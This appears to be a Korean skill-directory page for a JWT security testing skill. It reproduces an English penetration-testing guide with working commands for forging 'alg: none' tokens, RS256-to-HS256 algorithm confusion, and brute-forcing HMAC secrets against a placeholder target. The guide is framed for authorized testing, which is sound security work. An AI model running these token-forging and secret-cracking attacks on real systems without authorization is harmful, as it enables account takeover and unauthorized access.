본문으로 건너뛰기
Skillpedia
보안35k · #8394

testing-jwt-token-security

하는 일

이 도구는 JWT라고 부르는 인증 토큰의 보안이 강한지 확인하도록 돕습니다. 권한 없는 사람이 정보에 접근하거나 행동할 수 있게 하는 결함을 찾습니다.

사용하는 경우

  • ✓웹사이트나 애플리케이션의 보안을 테스트할 때.
  • ✓접근 토큰이 탈취되었을 수 있다고 의심될 때.
  • ✓승인된 사용자만 시스템의 특정 부분에 접근하도록 확인할 때.

스킬 링크

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-jwt-token-security/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-jwt-token-security/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“내 애플리케이션의 JWT 토큰 보안을 확인해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

도구는 토큰의 구조를 분석하고, 보안 규칙을 우회하는 것을 시도하며, 토큰 안의 정보를 수정해 무단 접근 권한을 얻을 수 있는지 확인합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Testing JWT Token Security

When to Use

  • During authorized penetration tests when the application uses JWT for authentication or authorization
  • When assessing API security where JWTs are passed as Bearer tokens or in cookies
  • For evaluating SSO implementations that use JWT/JWS/JWE tokens
  • When testing OAuth 2.0 or OpenID Connect flows that issue JWTs
  • During security audits of microservice architectures using JWT for inter-service authentication

Prerequisites

  • Authorization: Written penetration testing agreement for the target
  • jwt_tool: JWT attack toolkit (pip install jwt_tool or git clone https://github.com/ticarpi/jwt_tool.git)
  • Burp Suite Professional: With JSON Web Token extension from BApp Store
  • Python PyJWT: For scripting custom JWT attacks (pip install pyjwt)
  • Hashcat: For brute-forcing HMAC secrets (apt install hashcat)
  • jq: For JSON processing
  • Target JWT: A valid JWT token from the application

Workflow

Step 1: Decode and Analyze the JWT Structure

Extract and examine the header, payload, and signature components.

# Decode JWT parts (base64url decode)
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

# Decode header
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
# Output: {"alg":"HS256","typ":"JWT"}

# Decode payload
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Output: {"sub":"1234567890","name":"John Doe","iat":1516239022}

# Using jwt_tool for comprehensive analysis
python3 jwt_tool.py "$JWT"

# Check for sensitive data in the payload:
# - PII (email, phone, address)
# - Internal IDs or database references
# - Role/permission claims
# - Expiration times (exp, nbf, iat)
# - Issuer (iss) and audience (aud)

Step 2: Test Algorithm None Attack

Attempt to forge tokens by setting the algorithm to "none".

# jwt_tool algorithm none attack
python3 jwt_tool.py "$JWT" -X a

# Manual none algorithm attack
# Create header: {"alg":"none","typ":"JWT"}
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')

# Create modified payload (change role to admin)
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')

# Construct token with empty signature
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "Forged JWT: $FORGED_JWT"

# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_JWT" \
  "https://target.example.com/api/admin/users" | jq .

# Try variations: "None", "NONE", "nOnE"
for alg in none None NONE nOnE; do
  HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_')
  FORGED="${HEADER}.${PAYLOAD}."
  echo -n "alg=$alg: "
  curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $FORGED" \
    "https://target.example.com/api/admin/users"
  echo
done

Step 3: Test Algorithm Confusion (RS256 to HS256)

If the server uses RS256, try switching to HS256 and signing with the public key.

# Step 1: Obtain the server's public key
# Check common locations
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .

# Step 2: Extract public key from JWKS
# Save the JWKS and convert to PEM format
# Use jwt_tool or openssl

# Step 3: jwt_tool key confusion attack
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem

# Manual algorithm confusion attack with Python
python3 << 'PYEOF'
import jwt
import json

# Read the server's RSA public key
with open('public_key.pem', 'r') as f:
    public_key = f.read()

# Create forged payload
payload = {
    "sub": "1234567890",
    "name": "Admin User",
    "role": "admin",
    "iat": 1516239022,
    "exp": 9999999999
}

# Sign with HS256 using the RSA public key as the HMAC secret
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"Forged token: {forged_token}")
PYEOF

# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
  "https://target.example.com/api/admin/users"

Step 4: Brute-Force HMAC Secret

If HS256 is used, attempt to crack the signing secret.

# Using jwt_tool with common secrets
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt


…
자주 묻는 질문

JWT 토큰이란 무엇인가요?

서버가 사용자의 브라우저나 앱에 보내는 작은 정보 조각으로, 사용자가 누구인지 기억하는 데 쓰입니다. 디지털 신분증과 같습니다.

JWT 보안을 테스트하는 것이 왜 중요한가요?

JWT 토큰이 제대로 보호되지 않으면, 공격자가 토큰을 위조해 다른 사람인 척하거나, 데이터를 훔치거나, 제한된 영역에 접근할 수 있기 때문입니다.

이것을 쓰려면 기술 지식이 필요한가요?

네, 이 도구는 침투 테스트와 JWT 토큰의 작동 방식을 이해하는 보안 전문가를 위한 것입니다.

상세 정보

작성자의 원본 설명

Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements.

repo: mukul975/Anthropic-Cybersecurity-Skills

인기도

GitHub 스타
35k
순위
#8394
라이선스
Apache-2.0
업데이트
2026. 8. 31.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬